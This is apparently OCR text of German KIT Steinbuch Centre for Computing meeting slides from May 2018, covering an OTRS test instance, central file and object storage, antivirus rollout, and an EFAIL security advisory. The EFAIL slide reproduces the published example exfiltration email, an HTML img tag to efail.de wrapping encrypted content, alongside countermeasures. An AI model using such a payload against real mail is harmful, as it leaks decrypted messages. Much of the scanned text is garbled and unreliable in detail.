SCC-IT-Support-TEST — Dies ist ein Demo-Ticket

SCC-IT-Support-TEST
Ginter Grein
Dies izt ein Demo-Ticket

Sehr geehrie(r) Gunter Grein |
Ihre Anfrage wird bearbeitet.

Mit freundlichen Griken
SCC-IT-Support

Karlsruher Institut fir Technologie (KIT)
Steinbuch Centre for Computing (SCC)
http: A scc kit eduf

SCC Service Desk Telefon: 3000
E-Mail: servicedeskgdsce kit edu
Alktuelle Meldungen: httocdfwww scc kit edu/servicedeskimeldungen. php

- Glnter Grein schrigh:
| Dies ist ein Demo-Ticket

52  17.05.2018 15. ITB-Versammlung ;CQ Steinbuch Centre for Computing



Testinstanz '-\ﬂ(".

m Die OTRS Testinstanz ist erreichbar unter
https://ismtest.scc.kit.edu/otrs/customer.pl

m Der Zugang fur interessierte ITB wird nach in Kraft treten der
aktualisierten Dienstvereinbarung freigegeben.

m Danach wird der Zugang fur alle ITB freigegeben.

m Zeithorizont: geplant Ende Juni 2018

m Kontakt flr technische Fragen: otrs-test-admins@lists.kit.edu

53  17.05.2018 15. ITB-Versammlung S:Q\CQQ Steinbuch Centre for Computing
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Aktuelle Entwicklung KIT-Datenablage

Kurzer Review 2016:
Zentrale Speicherdienste und Datensicherheit

STEINBUCH CENTRE FOR COMPUTING - SCC

ry;
L

’
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Zentraler Fileserver (P-, OE-Verzeichnisse) 'ﬂ(".
CN CS

IFS, NFS Clients

f @
N

Mirror/Replication System

(not ,,online®)
Backup System

Filelevel - ':>Q
(Syncronous)l :|:>> Disk Buffer Tape

10 GE

Replication
300 TB Daily Snapshots 300TB Daily Snapshots 2 versions/weeks
EMC VMAX / Isilon EMC VNX / Isilon TSM
Online Protection 1 Protection 2

In Case of problem/demage
of the production system
(manually switch over)

In Case of desaster
(demage of both systems)

55  17.05.2018 15. ITB-Versammlung i(_:{g Steinbuch Centre for Computing
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Aktuelle Entwicklung KIT-Datenablage

STEINBUCH CENTRE FOR COMPUTING - SCC

227y

4
- /{:—;‘-y y

—
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Zentraler Fileserver (P-, OE-Verzeichnisse) 'ﬂ(".

CN CS

Production System Replication System
EMC/Dell Isilon (8 Knoten) EMC/Dell Isilon

1. Policy-basierte

Auslagerung von Daten
(Volumenreduktion auf Isilon)

2. S3-Schnittstelle

8 500 TB
(glinstige Plattenerweiterung)

EMC/Dell ECS™ (8 Knoten) ,ECS-Server” + VNX
(1. Schritt; spdter evtl. 2. ECS)

*) ECS = Elastic Cloud Storage

57  17.05.2018 15. ITB-Versammlung %CQ Steinbuch Centre for Computing



Datenauslagerung auf ECS '-\ﬂ(".

m Im ersten Schritt: ,GroRverbraucher® (bwS&S, INR, ...) in Absprache
m Wenn Quotierung ,durchgangig” (Isilon, ECS) maoglich ist, dann als

Standard
a Q42018/Q1 20197
Policy-basierte
Auslagerung von Daten
(Volumenreduktion auf Isilon)
ECS

58  17.05.2018 15. ITB-Versammlung S:Q\CQQ Steinbuch Centre for Computing



Karlsruher Institut fur Technologie

ECS Objektspeicher, S3-Schnittstelle

m l|dentisch zu Amazon S3

m Geeignet fir die Speicherung von Objekten deren Meta-Daten (sowieso) in
einer Datenbank erfasst werden.

a Keine Ablage im Filesystem und damit kein zeit-/lastintensives
Traversieren beim Zugriff (Datei im Filesystem => Datenpfad vs.
Objektspeicher => URL)

a (Leichtgewichtige) Atomare Aktionen: Speichern, Lesen, Loschen

s  Anwendungsseite muss S3 unterstlitzen

m Verwaltung des Pfads zu den gespeicherten Objekten auf der
Anwendungsseite (z.B. DB; keine ,Nachbildung eines Filesystems®)

m Mogliche Beispiele: Foto-Datenbanken, Sync&Share-Dienste, loT, ...

Anwendungs- S3-Schnittstelle [[o,

seite allig
Objekt-Meta- Obj-ekt- ) ECS
informationen spe|cherung

59  17.05.2018 15. ITB-Versammlung &(;Q Steinbuch Centre for Computing
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Verschiedenes / Diskussion

STEINBUCH CENTRE FOR COMPUTING - SCC

KIT — Die Forschungsuniversitat in der Helmholtz-Gemeinschaft
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Informationen zu EFAIL

52
m EFAIL (Direct Exfiltration): P'd

Kein Verschlisselungsproblem!
Ablauf:

» Angreifer fugt HTML-Code (rot) in verschlisselte E-Mail ein:
= Angreifer muss Zugriff auf die E-Mail haben
a E-Mail kann auch alter sein
s Angreifer sendet E-Mail an rechtmal3igen Empfanger weiter
= E-Mailprogramm entschlisselt Inhalt der E-Mail

SKIT

Karlsruher Institut fur Technologie

DON’'T
PANIC

From: attacker@efail.de
To: victim@company.com
Content—Type: multipart/mixed;boundary="BOUNDARY"

——BOUNDARY
Content—Type: text/html

<img src="http://efail.de/
——BOUNDARY
Content-Type: application/pkcs7-mime;

s E-Mailprogramm fuhrt (zur Anzeige notwendigen) HTML-Code | . ireireeeneiored aoe

inklusive dem vom Angreifer eingebetteten HTML-Image-Tag
(mit entschlisseltem Inhalt) aus = Geheimnis beim Angreifer

m Gegenmalinahmen:

s Anzeige von HTML in E-Mails deaktivieren
s E-Mailprogramme und E-Mail-Plugins aktualisieren

m Weli

tere Informationen:

a https://efail.de/ und https://efail.de/efail-attack-paper.pdf

Content-Transfer-Encoding: base64

MIAGCSQGSIb3DQEHA6CAMIACAQAXggHXMIIBOWIB. . .
——BOUNDARY

Content—Type: text/html

n

——BOUNDARY——

1

<img src="http://efail.de/

">

Secret meeting

Tomorrow 9pm
"
|http://efail.de/Secret%ZOMeetinchmorruv%Z09pm

a https://www.heise.de/newsticker/meldung/Efail-Was-Sie-jetzt-beachten-muessen-um-

sicher-E-Mails-zu-verschicken-4048988.html

17.05.2018
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Informationen zum zentralen Virenschutz

m Endpoint Security
a Aktuell McAfee Endpoint Security Windows 10.5.4
u Offiziell fir Windows 10 Version 1803 freigegeben
s Web Control Modul unterstitzt wieder Firefox (ab Version 57)

s Automatische Verteilung ab 04.06.2018
a Download unter http://www.scc kit.edu/dienste/sicherheitssoftware.php

= McAfee Workshop am 14.6.18 Lt S
o Vinys
L S RN A S0
a Themen t gfg i
» Prasentation des Virenschutzdienstes und & Tyl T
.. A8 \ 0lgcpss - Vins / s
aktualisierter Software & e a g4 | AN
. . . # oo
s Vorstellung Virenschutzkonzept flr den \ :
7

Ver S!-:h Il:l g’lﬁ Ransomware ” Eﬂﬂfﬂlﬂcker oy

,Zentralen Virenschutzdienst” Selu,-,g .

a Arbeiten mit der McAfee ePO-Konsole

s  Anmeldung im llias-System
https://ilias.studium.kit.edu/qoto.php?target=crs 832844&client id=produktiv
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